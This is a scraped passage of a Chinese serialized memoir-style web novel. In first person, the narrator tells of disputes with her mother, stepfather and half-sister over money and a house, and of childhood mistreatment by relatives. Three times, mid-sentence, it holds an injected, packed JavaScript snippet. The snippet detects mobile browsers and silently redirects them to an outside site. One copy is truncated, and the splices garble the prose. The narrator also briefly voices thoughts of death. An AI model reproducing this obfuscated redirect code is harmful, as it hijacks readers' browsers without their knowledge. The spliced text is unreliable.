这七十万,大头都是我继父的亲戚和关系网收的礼金,另外一部分是我妈的同学和我姥姥家那边的亲属。 当时我站出来,我说别吵了,我说这钱,我不要,我一开始也没打算要。 其实我那个时候很困难,我和我老公刚毕业,我们在外面租房,我们甚至搬家的时候,都不舍得找搬家公司,我先是坐公交,一趟一趟用行李箱往新租的房子里搬东西。太大的件,我叫了一个滴滴。 那天载我们去新出租房的,是一个女司机,她是个特别好的人,意识到我们是搬家之后,不仅想下来帮忙,还不想要我的打车钱。她一眼就看出了我们的窘迫。 可我还是坚持给人家钱了,并表达了我的感谢。 我继父和我妈办出阁宴,我妈说我这个出阁的姑娘不出席不好,我毕竟算是主角。可是来回的车费,我都捉襟见肘,可最后还是回去了。 我回去的时候,我妈妈还说我要结婚的人了,都没买一件新衣服,还穿着几年前她在E城花八十块钱给我买的裙子。我当时没开口,我是没钱买衣服的。 临走的时候,我姥姥塞给我五千块钱,这五千块钱,姥姥没写在礼账上,特意塞我手里的。也是这五千块钱,让我缓了口气。 而在这之前,我觉得每月付租金实在是太贵了,想着尽快买一个房子,哪怕小一点也行,先有个家。 我公公瘫痪在床,是低保户,我婆婆东凑西凑给我拿了十万块钱,付首付。还差五万,是我妈给我的。 当时我妈答应下来给我十万,我这边也给房子付了定金。 临到要付尾款的时候,我妈后悔了。 当时如果她要是不答应给我钱,我可以再想办法,先不交定金。可是她当时急于让我们结婚,她好办出阁宴收份子钱,先哄着我领了证,交了定金。 而定金,是退不了的。 后来我在电话这头急着哭了,我妈才问我缺多少钱,我说首付差了六万,她给我打了五万,剩下的一万,我妈让我找我亲爸要。 当时,我妈妈手里还有存款,她最后把那些钱都给我继父了,她还傻乎乎地想着要扶持我继父东山再起,我劝她钱自己留着,不要都给我继父,我那个蠢妈还反过来指责我,是不是惦记她那点钱,所以她怎么分配自己钱,我一句话都不敢说。 当然,后来她才后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464814|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她觉得她要是早点跟我继父离婚,带着我妹妹出去两个人生活,靠着那点存款,能过得很好。 我妈妈当时压根不知道,我继父外债有多少。当时我继父去澳城赌,还欠了七位数的外债,再加上煤矿破产,我妈那点钱,根本堵不上这个窟窿。 我继父几百万几千万都欠了,我妹妹现在跑过来跟我算账。 就算是我妈养我到大给我花了钱,请问这个钱,凭什么是我妹妹来跟我算?她对我有恩?这钱是她给的?她养我还是生我了? 真是倒反天罡! 说回我结婚那个房子,我婆婆和我妈凑了首付,房贷是我和老公还的,房子装修钱也是我自己一点点攒出来的。 当时我房子装修,我妈给我妹妹买的那个房子也装修。 我妈还喜欢跟我打电话报备她的装修进度,我说我这边还没装修的时候,我妈还反过来指责我,说刚买房子就要装得齐全啊,你自己慢慢赚慢慢往里添啊。 她不懂,我说这话不是为了让她给我拿钱,我是不喜欢听她炫耀给我妹妹买的房都装修到什么程度了。我会觉得那话刺耳。 当时,为了多赚点钱,我每天下班之后,就熬夜码字,一开始是写分成,后来还签过保底和买断,我上着班,还一口气写了三本书。 我不是个有天赋的人,我写文一直不太赚钱,为了能靠这个赚一点,我当时在外面靠量赚钱,一千字给我多少钱。 当时我还特别感谢一个编辑,她现在不做编辑了,她给我的保底价格最高,让我在艰难的生活里,得到了一丝的喘丨息。 现在,我妹妹让我把这五万块钱的事,告诉我的读者们,让我不要卖惨。 我可以告诉大家,我这个文里,我对我说过的每一句话负责,我不是在卖惨,我只是在陈述我的日常生活。 我妹妹和我继父家的所有人都觉得,我妈是一分钱没有,光着嫁到他们家的。 但是其实我前面说过了,我妈和我亲爸离婚的时候,房子判给我妈,在96年的时候,我妈手里有两万多的存款。这个钱,是二十八年的两万多块! 我妈不是光杆司令嫁到他们家,反而是我妈嫁过去的时候,他们家还有八万的外债,这八万现在看着少,可是二十年前,这八万简直可以压垮一个家庭。而这部分钱,是我妈陪着我继父跑夜车慢慢赚回来的。 最后一点,我妹妹今天早上留言骂我的时候,提到了我妈给她买的八十万的房子,我不知道这个数字是怎么来的,因为我没有提过,我说的是几十万,没说具体数字。 那现在我澄清一下,她那个房子是四十多万,我妈全款买的。我们F小城的房价还没有那么贵。 我妹妹反问我,是不是因为我妈给她买房,我心里不平衡了? 呵呵,真可笑,我从没有因为这个事不平衡。我只是觉得,她和我妈妈的账,不该算到我头上。 我也不是吃屎长大的,我妈养我到大学毕业,一分钱没花那不可能。她既然要算,那要不要算一下我从娘胎里到现在的钱? 怎么,是要我还钱吗?还给谁?还给我那个同母异父的妹妹吗? 可笑至极! 我有手有脚,我可以自己赚钱。现在房价大跌,我嫉妒她小城的房子干嘛? 我也有自己的家,我老公月收入也不差,我们还刚买了车,虽然车不贵,新能源的车总价才七万九千八,但是就这点钱,也是我省吃俭用,不怎么买衣服,一分一分自己攒出来的。 我妹妹骂我的时候,总喜欢用我现在过得好了说事。 说白了,不过是因为我们提车了。 我们家的房子,离市区很远,我老公上班不方便。我们提个八万的车,对我妹妹,对我继父家那些亲戚来说,就是我过得好了? 我还记得,我和我老公刚结婚的时候,我老公工资才四千。我继父当时还特别瞧不起这四千,还说我们这点钱,在B城,就是要饭的命,根本不够花。何况我们还有房贷。 现在我都三十岁了,这么多年过去了,我们工资有变化,买个车是再正常不过的事。 难道在他们眼里,我只有在B城要饭,他们才会觉得心理平衡?我过得稍微好一点,我就得挨骂? 说到底,我妹妹不是我生的,她要学费的事,完全可以找她爸,找她妈,我不知道为什么,要对我纠缠不休,还让我删除她的个人信息。 天地良心,我在这个文里,没暴露过她的个人信息,我甚至连城市都是模糊的。 我又不是蠢,我暴露完她信息,我的信息不是也摊开给别人看了? 倒是她来晋江文下面网暴我的时候,还喊着我的大名,我的真实姓名! 之所以她觉得我暴露她个人信息了,是因为她用微博号去我晋江一面风情那个微博号下面骂我的时候,被我的读者看到了。 我首先要感谢为我仗义执言的读者,不过跟我妹妹那种人争执没有必要,谢谢你们愿意为我争锋陷阵。 不过,还是算了吧,跟这种人争执没有必要。 我今天早上接到我妈电话,让我删除的时候,我也有点崩溃,她去留言骂我,最后让我删除。 她骂我的时候想什么了?她在我公开的微博下面骂我的时候,就没想过自己账号会暴露?那又不是匿名区! 我妈说我妹妹现在叫嚣着不能念书了,不想活了。 我也跟我妈妈说,如果我死可以解决这一切,我也可以死。 当然,你们也别害怕,我不会轻易想不开的。 13. 第013章 感谢 这两天我才看到有那么多的读者和慕名而来的小可爱在微博表达了支持。 包括评论区也有很多小可爱评论,投雷,甚至是投营养液,我在此一一表达对大家的感谢。 说实话,有的时候看到大家的鼓励和支持我会很感动。 原来连陌生人,都可以那么爱我。 大家的评论,我都认真看了,说得都对。 今天早上我发了一个发疯的朋友圈,配图是灵魂摆渡黄泉篇的台词。 我不知道怎么就想起电影中孟婆对三七说的那句话,你要笑,不要哭,这样世人就不会觉得你可怜,欺负你。 一个小时之后,我妈看到我朋友圈,给我打电话过来。 我猜到是她,我没接,是我老公接的。 他们聊了很久,我老公只是点头应着,挂了电话之后,也没说我妈到底说了什么,我老公知道最近只要我妈一给我发消息,我就会止不住地掉眼泪,所以他也不想刺激我。 我也不想自己找罪受,所以也没问。 很多时候是这样的,那些泼辣一点的,大家会自动觉得她不好惹。可那些唯唯诺诺的,他们就会默认这种人好欺负、好拿捏,她们觉得自己随意欺负你,反正你也不会反抗。 可能我在那个家里压抑太久了,我妹妹自动将我划入了可以欺负的行列。 我还记得,有一年,我继兄带着我和我妹妹去我继叔叔那拜年。 我继叔叔端出了水果和零食,对我继兄和我妹妹说:“要吃什么就吃。” 他说完这话,唯独落下了我。 我坐在那里一声没吭,也没动,也不可能去吃东西。 当时我妹妹还小,刚上幼儿园的年纪,她会主动站出来问我继叔叔:“你怎么只让我和我哥吃东西,唯独落下我姐啊?” 我继叔叔笑了,连忙找补:“我不是说了,让你们都吃,我没落下她啊。” 我妹妹撇了撇嘴:“你就是故意落下的,你别不承认。” 我继兄结婚之前,每年除夕带着我出去拜年,已经成了传统。我到继姑姑家,继叔叔家,人家不让我,我也从来不会吃他们的东西。 那个时候,我继父家条件已经很好了。虽然有的时候,吃点好的,我妈妈会让我背着我继奶奶吃,但是有了小时候的经验,一般我不会馋人家家里那口吃的,我看都不会看。 但是我妹妹维护我,我会很感动。 我是个感性的人,她维护我,我会感动很多很多年。 哪怕如今,她追着骂我,她不讲道理,骑在我头上欺负我,我也会想起,她小的时候,不是这样的。 可人总是会被周围环境同化的,当她的那些跟她有血缘关系的亲人,不停地说我妈和我的不是时,她也会潜移默化地认同,完全不带思考的,和他们站在一个阵线。 我还记得,那天我回家之后,将我妹妹维护我的事,告诉了我妈妈。 我妈妈没有因此心疼我在外面遭受了什么,她只笑着夸奖我妹妹还那么小,就那么厉害,然后兴致勃勃地跑去跟我继父分享。 评论区有个小可爱说,有时候人真的要接受父母不爱自己的事实。 其实 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你们要相信,一个女人,被一个男人彻底伤透心之后,是会迁怒和那个男人生的孩子的。 即便这个孩子,也是她十月怀胎生出来的。 我妈妈总说,我越长越像我亲爸了,她甚至不许我在家里光着脚,因为我那一双脚,和我亲爸一模一样,她看着就难受。 她甚至当着我的面,就说过她现在更爱小的这种话,完全没顾及过我的感受。 至于后来发生的事,我再慢慢的,跟大家讲细节…… 14. 第014章 续上 话题转回来,再按照我之前的节奏给大家讲吧。 说回我小时候在我姥姥家生活的事。 请各位读者原谅我在时间上的错乱。 原本我也是想按照时间顺序一点点来回忆,但是写着写着总是会想起点什么,来分享给大家。 正好前面提到了我小学毕业前的运动会,我就接上那个,给大家讲我大舅妈和我表哥的一件事。 我大表哥比我大五岁,我上小学一年级的时候,他刚好上六年级。其实现在的他,是个很老实很稳重,特别顾家的人。 他是上初中之后,才意识到小学欺负过我这件事,是多么的可恶,还跟我道过歉。 那时候,我刚转到子弟小学的一年级,有时候跟我大表哥一起上下学。他对我的欺负,倒不是打骂,而是逼着我每天晚上写字,写完了,第二天他要检查。 原本学校里的老师会留家庭作业的,老师的作业写完了,我就得按照大表哥的要求,写他给我安排的其他作业。 一开始,他是让我写五篇小楷,意识到我很快就能写完,就开始慢慢加量,比如把后面哪一节的生字表抄写一百遍,再抄写哪篇课文一百遍。 最后,他的要求越来越高,让我一个晚上写一整本小楷。 对于当时一年级的我来说,放学后,写一整本小楷本,要写到晚上十二点。 我大表哥那时候喜欢指着我的鼻子,把我训哭,然后让我憋回去,还让我不许告诉我姥姥。 有时候,他会借着来我姥姥这边厨房喝水的名义,过来检查我都写到哪里了。 我大表哥长得又高又大,而我虽然是东北姑娘,但是从小个子就不高,小小的一团,很怂也不敢反抗,还爱哭。 那样的日子,我都不记得坚持了多久,直到被我姥姥发现。 起初我姥姥还觉得我是个非常认学的孩子,每天都不出去玩,就在家里闷头写字看书。 可随着我大表哥对我的要求越来越高,我那天写到晚上十一点半还没写完的时候,我姥姥终于察觉到了不对劲。 我姥姥也在子弟小学做过老师,她知道一年级的老师不会给孩子留这么多作业。 更何况,后院还有一家姓王的同学,跟我同班,人家早早就写完作业睡觉了,还说老师晚上留的作业没有写字的内容,就是预习一下明天要学的课文,回家自己朗读两遍。 我姥姥问清楚别人的情况之后,也发现了我大表哥的不对劲。 晚上十点多,他跑过来喝水,然后偷偷摸摸把我叫出去,要检查我写到哪里了。 我姥姥当时就坐在屋里,什么都没说,就静静看着这一幕。 然后等到我回来,才逼问我到底发生了什么。 我当时哭着说:“我哥不让我说。” 我姥姥这才什么都懂了,然后让我把所有的事都交代出来,并告诉我,剩下的那些不用再写了,让我好好睡觉,明天起早上学。 第二天,我姥姥把我大表哥叫过来,训了一通,指责他欺负妹妹。 我大舅妈闻声赶来,在一边听着非常不高兴,我姥姥正训着我大表哥呢,我大舅妈直接把儿子扯远了,关进了自己房间里。 我大舅妈压根不觉得我大表哥欺负我这件事有什么值得她在意的,她只会维护自己的儿子。 哪怕我姥姥把实情告诉她,她也紧绷着一张脸不说话。她对我姥姥训她儿子这件事,非常不满意。 我姥姥和我姥爷的性格是两个极端,他们两个是订娃娃亲结婚的。我姥姥七岁没了妈,九岁没了爹,从小就在叔叔婶婶家长大。 我姥姥虽然在教学上比较严肃,但是在家里,不会和儿媳妇闹红脸。有时候儿媳妇不高兴了,她还会去哄着。 我姥爷则不同,我姥爷脾气暴躁,喜欢骂人,还把我大舅妈骂哭过。 不过这件事,我姥爷没管。 我姥姥大约是九岁多的时候,跟我姥爷订了娃娃亲,我姥姥的爷爷就用27块多,卖了我姥姥这一生。 大约也是因为我姥姥从小的经历,她看我总觉得我比较可怜,因为没爹没妈在跟前,我姥姥总想护着点我。 可因为这件事,我大舅妈也不来我姥姥屋里跟他们一起吃饭了,见面也不打招呼,跟我姥姥冷战了好些天。 我大舅妈其实非常宠爱我大表哥,我大表哥想要吃什么零食,她会跑很远去给他买,我大表哥想要吃什么菜,我大舅妈也会第一时间给他做。 每到过年买新衣服的时候,我大舅妈都嫌弃村里那些服装店里的衣服不好看,经常带着我大表哥去镇上,去县里,去市里挨个地方买衣服,买到我大表哥满意为止。 我其实很羡慕我大表哥,有爸有妈护着的日子,不知道该有多幸福。 我身边没有爸爸妈妈,没有人可以护着我。 不过好在,有我姥姥这一次对我大表哥的训斥,他没再逼着我深夜写小楷了,我也解脱了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503490|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我还记得,也是我一年级那会儿,我大表哥的一个同学姓刘,就住在山上。 那会儿整个居民区,都在半山腰上慢慢往下延伸,他家住在坡上一点,家里还有一大片菜园子。他家冬天会扣大棚,卖反季节蔬菜,家里经济条件不差,喜欢吃肉,人长得也壮实。 他以前很少跟我说话,因为我年纪小,长得也小。 不过他知道我大表哥会欺负我的事,那天站在我们家门口,也顺势手贱,弹了一下我脑崩。 那个刘同学手劲太大了,他弹我一下,疼得我好久都缓不过劲来,连哭都哭不出声来,只能干掉眼泪。 我大表哥当时把我拽到后面,蹙眉看他:“你别欺负她。” 刘同学愤愤不平:“我看你也经常欺负她,我就欺负一下怎么了?” 我大表哥说:“我自己家的妹妹,我可以欺负,你不能欺负。” 我大舅妈刚好从外面回来,听到了这话。 她高兴地跑到我姥姥那屋炫耀:“哎呀,你别看我们家的大宝欺负妹妹,别人欺负妹妹,他可护着了。” 我大舅妈喜欢把一件事来来回回说很多遍,这话她当着我姥姥的面说了几遍,转而晚饭过后,又去街边和街坊四邻说。 我大表哥的姥爷,是镇上中学的校长。我大表哥一年后上了初中,性格有了很大变化。 他不再欺负我,他甚至觉得欺负人很可耻。有的时候,家里有点什么小零食,还会问我吃不吃。 当然,他把东西直接递过来给我吃的时候,我才敢接着。 有的时候他吃着吃着小零食,突然看到我,觉得这样不好,就会问我:“你是不是不吃?” 说完这话,他也觉得这话不好,便赶紧找补:“完了,这话听着像我不舍得给你吃一样。”然后他就会把零食包递过我。 我不敢看,也不敢多闻一下,我即便是很好奇那些我没见过的零食到底是什么味道,却还是摇了摇头说:“我不吃,不喜欢吃,不想吃。” 因为这个,我姥姥也总是在外面夸我。 她说我走到哪从来都不会要东西,看到别人吃东西也不会馋,甚至连看都不看。不像其他的小孩,会撒泼打滚,不给买就不走了。 可是我和其他小孩不一样啊。 他们有爸爸妈妈宠着,他们撒泼打滚有人回应。 我呢,我不是不会看,我是不敢看,也不敢抬头,假装我自己对那些东西是真的没兴趣。 15. 第015章 出生 小学毕业之后,我继父就和我妈商量,要把我接到他们家去住。 我继父家也住在一个山沟沟里,背靠大山。 我还记得有一年寒假,我去继父家过年,见到隔壁邻居的窗台上,卧着一条又粗又长的蛇。 那家人没赶它,任由那蛇盘卧在那里,等它自己走。 我很怕蛇,我也很少往后山走。 我继父家是实实在在的农村户口,不像我姥姥家,哪怕有地,也都是在村里人自己开的荒地。我继父家有分配的土地,具体多少亩地,我没有关心过,也没问过。 我就记得有一年秋收,我继父家里人都去收玉米。 我那时候还小,还没上初中。他们去地里干活,我就在家里看电视。 我继兄搬了几趟玉米之后,突然觉得委屈。他当时拎起一大麻袋苞米,就丢在了门口,喊我的名字,让我出去拎。 说实话,当时他背回来的那麻袋玉米,别说是上小学的我背不动,就是我现在这个年纪,你让我去背,我也背不动。 我当时就站在那里,手足无措地看着我继兄,一声不吭。 最后,还是我继奶奶笑着说:“她不会干农活,你别叫她做了。这点活儿,咱们也能干。” 晚上我妈从地里回来,要给他们一大家子人做饭,这一大家子,包括我继兄、我继姐、爷爷奶奶,还有我继姑姑、继姑父,继叔叔婶婶,还有他们家的一群孩子。 那时候人多到,一个桌子都坐不了这么多人,需要一拨一拨上桌吃饭。 如果人实在太多,就男的先吃,女人和小孩后面吃。 吃过晚饭,我妈妈还要刷碗,收拾厨房。 我继奶奶总说我继婶身体不好,不能干活。所以这些活,我妈经常一个人做。 忙完之后,我妈累得瘫到炕上,对白天我继兄逼着我下地干农活这事,很不满意。 我妈嘴里嘟囔了几句,却不敢大声说,她也只能忍。 就是这样的家庭,我在他们家人面前,连喘气都需要小心翼翼的家庭,等我小学毕业之后,就要一直住在那里了。 那时候,大约是2005年前后,我继父家盖了大房子,四间大瓦房。当时我继父赚了些钱,装修用的都是最好的地板,还修了坐便,买了当时非常流行的太阳能热水器。家里还买了电脑,安装了宽带。 生活条件相比我姥姥家要优越得多。 莫说是我姥姥家,在当时整个村里,都算是特别优越的。 可我其实舍不得离开我姥姥家,上小学那些年,我早就把姥姥家当成了自己家。 可姥姥家终归是姥姥家,姥姥帮着我妈带了这么多年孩子,也会觉得委屈。 更何况,我姥姥还和我大舅舅住在一个院子里。 我继父总跟我妈说,你把孩子丢到那边,不合适。所以让我上初中之后,就立刻搬过去,让我妈妈亲自带着我。 我其实上初中之后,在我继父家里生活也很不习惯。有一次周假,我没回我继父家,而是坐着客车,回了我姥姥家。 我姥姥显然对我的到来十分诧异,对待我,也不像之前那么热情。 我妈听说我跑到我姥姥家之后,还让我尽快回去。我继父和我妈,都不希望我再去麻烦我姥姥。 从那一刻开始,我明白了。姥姥家,再也不是我的家了。 我必须要强迫自己,慢慢适应在我继父家的生活。 我妈和我姥都不知道,从那天开始,我就强逼着自己戒断,强逼着自己少往我姥姥家跑。 后来,我姥姥很想念我,她突然买车票跑去学校看我,却在半路上被人偷了钱包,最后只能半路折返回去。 这事,很久之后,我听我妈说起,我才知道。 我小升初成绩考得还算不错,最起码比我妈妈预计的要好一些。当时在我姥姥那个镇上,全镇排名19。 后来,我继父主张给我办转学,转到我继父所在的那个镇子,我的成绩,在这边镇上的排名是全镇12。 又刚好,我进入的那个班级,第一名转学了,我成了班里的第一名。 我的新班主任姓张,她的教学水平是很优秀的,对待学生也很认真负责。当然,她也有自己的一些缺点和不公正的地方。 可无论如何,她对我都还算不错。最起码不会像小学那个潘老师一样,故意针对我。 能相安无事的在班级里学习,没有太多糟心的事,对我来说,就已经很好了。 我在初中的学习生活,起初也不是很适应。张老师总对我期待太高,希望我第一次月考能继续考第一名。 可是我的基础很差,除了语文基础稍微好一点之外,英语和数学基础都有点差。 尤其是英语,我上初中之后才发现,我在小学学的那点东西,不过是毛毛雨。 可我的其他同学们,都在镇上一个培训班里补过课。他们的英语基础,要比我好很多。 就连当时当下最简单的,I''mfine,thankyou.Andyou?这种句式,我第一次听到他们说,都不明觉厉。 后来,第一次月考,我考得很差,班级第五名。 当然,这之后我也有考得特别好的时候。有一次超常发挥,考了全校第三,英语那次比较超纲,大家都不会。 我其实也不会,只不过做阅读题的时候,我习惯在文中找答案。 那次英语成绩,我走了狗屎运,考了全校第一。 我上初中是住校的,一周才回家一次。我还记得那周末,我回到家,刚要跟我妈显摆我这次考得很好的时候,我妈妈便笑着说:“我们都知道了。” 初中学校里,有很多我继父的亲戚朋友。他们都知道我继父有我这么个拖油瓶,看到我那次的考试成绩之后,都很惊讶,提前给我继父打了电话。 但是我知道,家里并不是真的为我开心,大部分人的情绪都很复杂。 有一次,我还听到我继奶奶和别人聊天,突然说起我,她说:“那孩子学习成绩居然还不错。” 当然,我也就只超常发挥那一次。大部分时间,我只能勉强维持在班级前三。 后来我遇到了一个喜欢的数学老师,她讲话很温柔,条理很清晰,那之后,我数学成绩才突飞猛进。 不过这些陈芝麻烂谷子,初中时期的一些学习成绩,早就过去了,不提也罢。 我就单拎出来几个印象深刻的事。 初中时期,一个重大事件就是我妈妈怀孕生女。 我那时候还小,明明有那么多不对劲的地方,我都没往我妈怀孕那方面想过。 我也是后知后觉。 我只记得有一次,我妈妈在我姥姥家吃饭。她刚吃一口凉拌黄瓜,就觉得味道不对劲,不肯吃了。 她说,那菜里放了味素。她当时对味素很敏感,一丁点都吃不了。 当着我的面,我大舅妈、我姥姥和我妈讨论这件事的时候,都是很小声很小声的,生怕我听见。 再之后,等我妈肚子渐渐大起来,我才知道她怀孕了。 具体什么时候怀孕这种事,她当然不会告诉我,也不会征求我的意见。 我只隐约记得,应该是我继父在E城开大修厂的时候,她就怀上了。 对外,我妈妈的说辞永远都是,为了稳固在家中的地位,为了把我养大,为了供我上学,她才会要这个孩子。 这话,她说过很多很多次。跟我说,跟街坊四邻说,跟亲戚朋友说。等到我妹妹出生后,当着我妹妹面接着说。 这些话,我那个时候是深信不疑的。 以至于那些年,我妈情绪不稳定,动不动就骂我,动不动就哭诉带着我多么不容易,动不动就指着我的鼻子让我回我那个死爹那里的时候,我都一声不敢吭。 我害怕,我害怕我妈不要我,我害怕她抛弃我。我也觉得,她为了我付出了很多,她骂我几句,我权当听不见,让她发泄就好。 因为被骂久了,我总结出来了一套经验。 她骂我的时候,如果我不吭声,她骂累了,就会停了。 可如果我反驳一句,那就是顶嘴。那这件事就会没完没了,她会大哭大闹,说我亲爸是如何对不起她,说她一个人带着我多么不容易,说我不听话不懂事,还会跟她顶嘴了。 所以,不反驳,不吭声,是最好的应对方法。 当然,有的时候她骂我,我不反驳,她还会出去喊;“这孩子就是个哑巴,你怎么骂她,她都不会有反应的。” 当然,情绪上头了,她也会走过来拍我,反复问我到底是不是哑巴了。 我只要装作哑巴就好。 只要我不出声,总会过去的。 可现在,我成家了,我三十多了,我见过了更多的人情世故,懂得了更多的事。我再回想起我妈那句,为了我才生我妹妹的话,我只觉得讽刺。 我妈妈到底为什么要在那个时候要个孩子,只有她自己清楚。 那时候,她和我继父还完了所有的外债,日子一天天好了起来。我继父不再辛苦开夜车拉煤,而是成了一个小老板。 归根究底,我妈觉得生一个孩子,可以稳住他们之间的感情。 她在害怕,她害怕我继父有了钱之后,会嫌弃离婚带孩子的她。 当年我妈刚嫁过去的时候,也有人劝她生一个,可那时候我继父经济条件差,我妈妈说什么都不肯生。 后来我妈妈怀孕了,她急需为生这个孩子找一个理由。 而我,成了这个理由。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我妈当初怀孕的时候,我继父他们一家子都不高兴。 我继姐不高兴,我继奶奶不高兴,就连我继父,都没有多少欢喜。 我记得,我妈怀孕初期,我继父刚好花大价钱从外面买了螃蟹回来。 我不吃螃蟹,所以没上桌。 但是他们家人都觉得这是好东西、贵的东西,都一窝蜂上桌抢着吃。 我妈也喜欢吃,贪嘴吃了不少。 当天晚上,就见了红。 为了保住肚子里的孩子,我妈去镇上的医院,打了保胎针。 那天从医院回去之后,我妈妈就躺在炕上,整个人昏昏沉沉的。 我继奶奶就一直在外面念叨:“哎呦我年轻的时候,也流产过一次。当时还没出小月子,就下地给我公公婆婆做饭,什么活儿都不耽误。哪像现在的年轻人,要是流产就了不得了。” 我妈心里委屈,时隔多年,还总说起这事。她说当时她差点流产,都起不来床了,我继奶奶还嚷嚷着让她起来做饭。 那一大家子,没有人觉得她这个孕妇有多么金贵。该我妈干的活,一样也不能少。 再后来,我妈肚子大了,还差两个月就生了。 正好是年底,家里要大扫除。 我妈没怀孕的时候,要么是找人帮忙擦一下天花板,要么是自己站在梯子上,慢慢打扫干净。 那年,她肚子大了,所以家里大扫除这活儿,交给了我继姑姑和我继奶奶。。 我继姑姑觉得委屈,就跟我继姐念叨这事。 我继姐回家里帮忙,她气势汹汹地拿起抹布,冲到了我妈的房间,让我妈站在梯子擦天花板。 我妈一个孕妇,是不敢做这么危险的事的。 我妈不做,我继姐就破口大骂。 我继姐是个非常泼辣的人,十里八村都知道她不好惹。 她骂我妈的时候,我继奶奶和继姑姑一声不吭,而我妈大着肚子,孤立无援。 那天刚好是周五,我放周假回家。 我刚回到家,就看到我妈坐在冰冷的地板上痛哭不止。 我至今还能想起我那一刻的心情,心疼,无助…… 我半跪在地上,书包都没摘,我哭着求我妈妈,我说:“妈,咱们走吧,这个家,我们不待了。” 我多希望,我妈当时没有怀孕。 我多希望,她能义无反顾地带着我那个家。就我们母女两个生活,安安静静的,那该多好。 可是她不能,她哭着说:“我带着你走了,那肚子里这个怎么办?” 是啊,我幻想中只有我们母女两个相依为命的场景不会再有了。 以至于后来,我妈和我继父离了婚,带着我妹妹去镇上买了个新房,母女两个住在一起的时候,我都很羡慕。 那曾经,是我梦中的生活。 没有复杂的家庭,没有人给我白眼,没有人会盯着我吃饭,生怕我多夹一块肉。 就只有我们母女两个,自由自在的。哪怕生活艰苦一点,也没有关系。 16. 第016章 照顾 我继父是非常宠爱两个孩子的。 我继父的原配夫人走得早,他总是心疼两个孩子从小就没了妈妈,所以对儿子女儿非常纵容。 故而,我继姐打骂我继父怀孕的后老婆这种事,我继父并未责怪我继姐,他只是红着眼对我妈说了一句:“你说,你倒是招惹她干什么呀。” 那时候我心里真的好难受,那家里的气氛,压抑到让我喘不过气来。 我小时候经常坐在窗边,望着后院那巍峨的大山,我想,我要是一口气上不来,是不是就解脱了? 后来,我妹妹出生了。 我妹妹出生那年,我继父的大修厂已经兑了出去。我们镇上的一个首富,拉着我继父开始做煤矿生意,给了我继父一些股份,让他管理煤矿。 我继父管理的那个煤矿,生意特别好,那些年,也是我继父日子过得最好的时候。 这一旦经济条件好了,家里那些人便也会盯着我妈的肚子。 我还记得,我妈生我妹妹那一天,我继兄来回问了几遍,确定生的是个女儿,他才放心。 因为他觉得,我妈生了个女儿,才不会跟他争家产。 我继父重男轻女思想是非常严重的。他很喜欢孩子,喜欢每一个孩子,但是儿子和女儿总归是不一样的。 我妈在镇上的医院生产,生产那天,电话打回家里,我继奶听说我妈生了,甚至都没什么表情,对她们母女的情况,也漠不关心。 我妈生完孩子就回家坐月子,来来往往的亲朋好友都来送礼,家里那些天格外热闹。 我不是个喜欢热闹的人,我隔天就收拾东西,去我姥姥家住了几天。 我不记得我走了几天,我只记得我回去的时候,我妈撇着嘴,对我极不满意。 她问我:“你走了那么多天,你都不想你妹妹吗?” 我当时没有回答她。 不过我现在可以说说我心里的想法,我不想。 我妹妹刚出生的时候,皱皱巴巴的。刚出生,才六斤的小孩子,也不会好看到哪里去。 对着刚出生的小宝宝,我确实没有多少念想。 我甚至觉得,我妈因为这个挑我的理(挑我毛病的意思),也有点莫名其妙。 后来,是我大姨过来亲自伺候我妈月子。 我继奶奶早早就躲了,不想伺候我妈。而且我继奶奶看到我妹妹第一眼,就很嫌弃地说了一句:“这孩子长得像瞎苞米一样,可真丑。” 就是这么一句话,让我妈记了好多年。每次提起来,我妈都会觉得怨愤、委屈。 虽然当时,我继父的条件很好。但是我继奶奶是个生活非常仔细的人,她连袜子破了都不舍得换新的,非要打补丁。 所以,请月嫂、雇保姆这种事,即便是我继父当时有那个经济能力,我妈也是不敢做的。 所以,我妈只好打电话求助我大姨,让她过来帮忙。 我对我大姨的感情,还是很复杂的。 其实后来,我长大之后,我还是挺愿意亲近我大姨的。她干活利落,为人爽快。虽然我姥姥和外人经常评价我大姨有点泼辣,得理不饶人。但是我总觉得,在很多事上,她还是能说通道理的。而且,她情绪相对稳定,不会胡乱发疯。 可小时候,我对我大姨的看法却不一样。 我还记得小时候,我大姨训哭过我。 我大姨和她的第一任丈夫也性格不合,我第一个大姨父,爱逞强、斗殴,还怂恿自己的儿子也出去打架斗殴。临了临了,把儿子送进监狱了,才幡然醒悟。 我大姨和我大姨父在我小时候也闹过离婚。我姥姥一般劝和不全分,劝了我大姨几句,我大姨就哭哭啼啼开始说我姥偏心,说我妈就可以把孩子丢给我姥照看,她在娘家就什么都捞不到。 说着说着,她还会训我,把我训哭之后,我姥还蹙眉说她:“她一个小孩,你惹哭她做什么?” 还有一次,是我大姨家的表哥,我就叫他柱子哥吧。 我柱子哥这个人,人品很差。 小时候他虽然不体罚我,也不会打骂我,但是他会把尿装进饮料瓶子里,骗我是饮料,让我喝了。 我刚进口就觉得不对劲,哇哇大吐。 而我那个柱子哥,看着我吐,却在一旁笑得前仰后合。 